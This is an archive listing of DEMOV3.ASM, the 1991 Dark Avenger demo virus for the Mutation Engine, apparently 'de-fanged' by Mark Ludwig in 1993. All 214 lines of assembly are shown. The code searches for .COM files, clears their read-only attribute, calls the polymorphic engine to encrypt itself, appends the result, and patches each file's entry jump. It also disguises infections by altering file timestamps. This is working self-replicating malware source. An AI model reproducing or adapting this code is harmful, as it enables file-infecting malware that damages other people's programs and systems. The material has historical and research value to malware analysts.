home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / DEMOV3.ASM < prev    next >
Assembly Source File  |  1993-04-06  |  6KB  |  214 lines

  1.  
  2. ; This is a demo virus to demonstrate
  3. ;   the Mutation Engine <tm> usage
  4.  
  5. ; Version 1.01 (26-10-91)
  6. ; (C) 1991 Dark Avenger.
  7.  
  8. ; De-Fanged for experimentation by Mark Ludwig 3/24/93
  9.  
  10.         .model  tiny
  11.         .radix  16
  12.         .code
  13.  
  14.         extrn   mut_engine: near, rnd_get: near, rnd_init: near
  15.         extrn   rnd_buf: word, data_top: near
  16.  
  17.         org     100
  18.  
  19. start:
  20.         call    locadr
  21. locadr:
  22.         pop     dx
  23.         mov     cl,4
  24.         shr     dx,cl
  25.         sub     dx,10
  26.         mov     cx,ds
  27.         add     cx,dx                   ;Calculate new CS
  28.         mov     dx,offset begin
  29.         push    cx dx
  30.         retf
  31. begin:
  32.         cld
  33.         mov     di,offset start
  34.         push    es di
  35.         push    cs
  36.         pop     ds
  37.         push    ax
  38.         mov     dx,offset dta_buf       ;Set DTA
  39.         mov     ah,1a
  40.         int     21
  41.         xor     ax,ax                   ;Initialize random seed
  42.         mov     [rnd_buf],ax
  43.         call    rnd_init
  44.         mov     dx,offset srchnam
  45.         mov     cl,3
  46.         mov     ah,4e
  47. find_lup:
  48.         int     21                      ;Find the next COM file
  49.         jc      infect_done
  50.         call    isinf                   ;see if infected
  51.         jnz     infect                  ;If not infected, infect it now
  52. find_nxt:
  53.         mov     dx,offset dta_buf
  54.         mov     ah,4f
  55.         jmp     find_lup
  56. infect_done:
  57.         push    cs
  58.         pop     ds
  59.         push    ss
  60.         pop     es
  61.         mov     di,offset start
  62.         mov     si,offset oold_cod
  63.         movsw                           ;Restore first 12 bytes
  64.         movsw
  65.         movsw
  66.         movsw
  67.         movsw
  68.         movsw
  69.         push    ss
  70.         pop     ds
  71.         mov     dx,80                   ;Restore DTA
  72.         mov     ah,1a
  73.         int     21
  74.         pop     ax
  75.         retf
  76.  
  77. infect:
  78.         xor     cx,cx                   ;Reset read-only attribute
  79.         mov     dx,offset dta_buf+1e
  80.         mov     ax,4301
  81.         int     21
  82.         jc      infect_done
  83.         mov     ax,3d02                 ;Open the file
  84.         int     21
  85.         jc      infect_done
  86.         xchg    ax,bx
  87.         mov     ax,WORD PTR [old_cod]
  88.         mov     WORD PTR [oold_cod],ax
  89.         mov     ax,WORD PTR [old_cod+2]
  90.         mov     WORD PTR [oold_cod+2],ax
  91.         mov     ax,WORD PTR [old_cod+4]
  92.         mov     WORD PTR [oold_cod+4],ax
  93.         mov     ax,WORD PTR [old_cod+6]
  94.         mov     WORD PTR [oold_cod+6],ax
  95.         mov     ax,WORD PTR [old_cod+8]
  96.         mov     WORD PTR [oold_cod+8],ax
  97.         mov     ax,WORD PTR [old_cod+0A]
  98.         mov     WORD PTR [oold_cod+0A],ax
  99.         mov     dx,offset old_cod       ;Read first 12 bytes
  100.         mov     cx,0C
  101.         mov     ah,3f
  102.         int     21
  103.         jc      read_done
  104.         xor     cx,cx                   ;Seek at EOF
  105.         xor     dx,dx
  106.         mov     ax,4202
  107.         int     21
  108.         test    dx,dx                   ;Make sure the file is not too big
  109.         jnz     read_done
  110.         cmp     ax,-2000
  111.         jnc     read_done
  112.         mov     bp,ax
  113.         sub     ax,7
  114.         mov     word ptr [new_cod+5],ax
  115.         mov     ax,cs
  116.         add     ax,1000H
  117.         mov     es,ax
  118.         mov     dx,offset start
  119.         mov     cx,offset _DATA
  120.         push    bp bx
  121.         add     bp,dx
  122.         xor     si,si
  123.         xor     di,di
  124.         mov     bl,0f
  125.         mov     ax,101
  126.         call    mut_engine
  127.         mov     di,dx
  128.         pop     bx ax
  129.         add     ax,cx                   ;Make sure file length mod 256 = 0
  130.         neg     ax
  131.         xor     ah,ah
  132.         add     cx,ax
  133.         mov     ah,40                   ;Put the virus into the file
  134.         int     21
  135.         push    cs
  136.         pop     ds
  137.         jc      write_done
  138.         sub     cx,ax
  139.         jnz     write_done
  140.         xor     dx,dx                   ;Put the JMP instruction
  141.         mov     ax,4200
  142.         int     21
  143.         mov     dx,offset new_cod
  144.         mov     cx,0C
  145.         mov     ah,40
  146.         int     21
  147.         jmp     write_done
  148. read_done:
  149.         mov     ah,3e                   ;close the file
  150.         int     21
  151.         jmp     infect_done
  152. write_done:
  153.         mov     ax,5700H                        ;get date & time on file
  154.         int     21H
  155.         push    dx
  156.         mov     ax,cx                           ;fix it
  157.         xor     ax,dx
  158.         mov     cx,0A
  159.         xor     dx,dx
  160.         div     cx
  161.         mul     cx
  162.         add     ax,3
  163.         pop     dx
  164.         xor     ax,dx
  165.         mov     cx,ax
  166.         mov     ax,5701H                        ;and save it
  167.         int     21H
  168.         jmp     read_done
  169.  
  170. ;determine if file is infected
  171. isinf:
  172.         mov     dx,offset dta_buf+1e
  173.         mov     ax,3d02                 ;Open the file
  174.         int     21
  175.         mov     bx,ax
  176.         mov     ax,5700H                        ;get file attribute
  177.         int     21H
  178.         mov     ax,cx
  179.         xor     ax,dx                           ;date xor time mod 10 = 3 for infected file
  180.         xor     dx,dx
  181.         mov     cx,0A
  182.         div     cx
  183.         cmp     dx,3
  184.         pushf
  185.         mov     ah,3e                   ;Close the file
  186.         int     21
  187.         popf
  188.         ret
  189.  
  190. srchnam db      '*.COM',0
  191.  
  192. old_cod:                                ;Buffer to read first 11 bytes
  193.         ret
  194.         db      0
  195.         dw      0,0,0,0,0
  196.  
  197.  
  198. oold_cod:                               ;old old code
  199.         db      0,0,0,0,0,0,0,0,0,0,0,0
  200.  
  201. new_cod:                                ;Buffer to write first 11 bytes
  202.         call    nc2
  203. nc1:    pop     ax
  204.         jmp     $+200
  205. nc2:    pop     ax
  206.         call    nc1
  207.         nop
  208.  
  209.         .data
  210.  
  211. dta_buf db      2bh dup(?)              ;Buffer for DTA
  212.  
  213.         end     start
  214.